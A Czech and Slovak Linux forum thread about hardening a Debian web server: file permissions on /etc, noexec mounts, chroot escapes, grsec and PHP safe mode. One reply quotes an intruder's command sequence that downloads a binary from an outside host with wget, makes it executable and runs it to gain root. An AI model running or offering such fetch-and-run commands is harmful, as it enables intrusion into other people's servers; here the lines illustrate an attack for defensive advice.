Dotaz: chmod cely disk

[smrtak_]

Zdravim, mam webovy server na debianu, zatim pouze pristupny me, ale i tak by me zajimalo jake opravneni doporucujete na cely disk, popripade jednotlive adresare, vsiml jsem si ze vetsina disku(i /etc/) je pristupna ostatnim uzivatelum pro cteni, jen nektere bezpecnostni soubory jsou odepreny.... moc se mi to nezamlouva, myslite ze je rozumne dat vse pro other user 0 .... nespadne system napriklad kdyz dam /etc 770 ? Uvitam rady z praxe:)

dekuji

Odpovědi

[Michal Kubeček]

V adresáři /etc máte globální konfigurační soubory většiny programů, takže systém sice asi nespadne, ale spousta aplikací nebude fungovat. Navíc nebude fungovat i ledacos dalšího, protože některé systémové konfigurační soubory (třeba /etc/passwd) potřebují číst i docela běžné programy. Takže: nevylijte s vaničkou i dítě.

[smrtak]

Co vlastne muze vsechno natropit takovy prihlaseny uzivatel pres ssh (shellu), se standartnim opravnenim? (napriklad uzivatel z FTP serveru), za predpokladu ze mnou pridane dulezite data jsou bez other user read...

[Michal Kubeček]

To záleží na vás, co mu dovolíte. Navíc je tu samozřejmě riziko, že kromě té chyby, jejíž vinou se vám tam dostal, tam bude ještě nějaká lokálně zneužitelná, která mu umožní získat roota.

[AraxoN]

Ak poskytuješ shell nedôveryhodným užívateľom, tak by si mal v prvom rade zabezpečiť, aby všetky partície kde môžu zapisovať boli mountované s voľbou noexec. Typicky to budú adresáre /tmp/ /var/tmp/ /home/uzivatel/ /var/www/uzivatel a tak podobne. Mám z vlastnej skúsenosti, že hacknutie je niekedy otázkou pár príkazov, napr:

cd /var/tmp
uname -a
ls -la
wget xyz.ro/x
chmod +x  x
./x

Toľkoto málo típkovi stačilo na to aby sa dostal k rootovským oprávneniam a začal mi na servri robiť neplechu.

[tren]

noexec na particii se da obejit.

[AraxoN]

Za každých podmienok? To ma zaujíma... Nejaký príklad, alebo vodítko? Jediné čo som našiel ja bolo ku starému kernelu, alebo ku starému glibc.

[vice]

a co takhle chroot ?

[Messa]

Některé hostingy nabízející SCP používají pro zabezpečení scponly shellu chroot. Pokud bude nabízet plnohodnotný shell, pak platí i výše zmíněná opatření, protože z chrootu se dá dost snadno dostat ven.

[Zdeněk Burda]

Pokud použiješ například grsec, tak se z toho chrootu zas tak snadno nedostaneš...

[lefti]

Radsi ty prava prenastav promoci nastroju distribuce.

[smrtak_]

Tak ted z toho nejsem vubec moudry :) ... v prvni rade se tedy pokusim zamezit vsem ostatnim uzivatelum(ftp,...) pristupu do shellu, pak me taky napada ze php bez safe modu zrovna taky bezpecne neni, i kdyz ho vyuzivam jenom ja, je tu porad moznost ze nejaky opensource bude obsahovat zavazny bug (viz phpbb kdy sel uploadovat php soubor na server a bez safemodu by sel tedy spoustet bash?)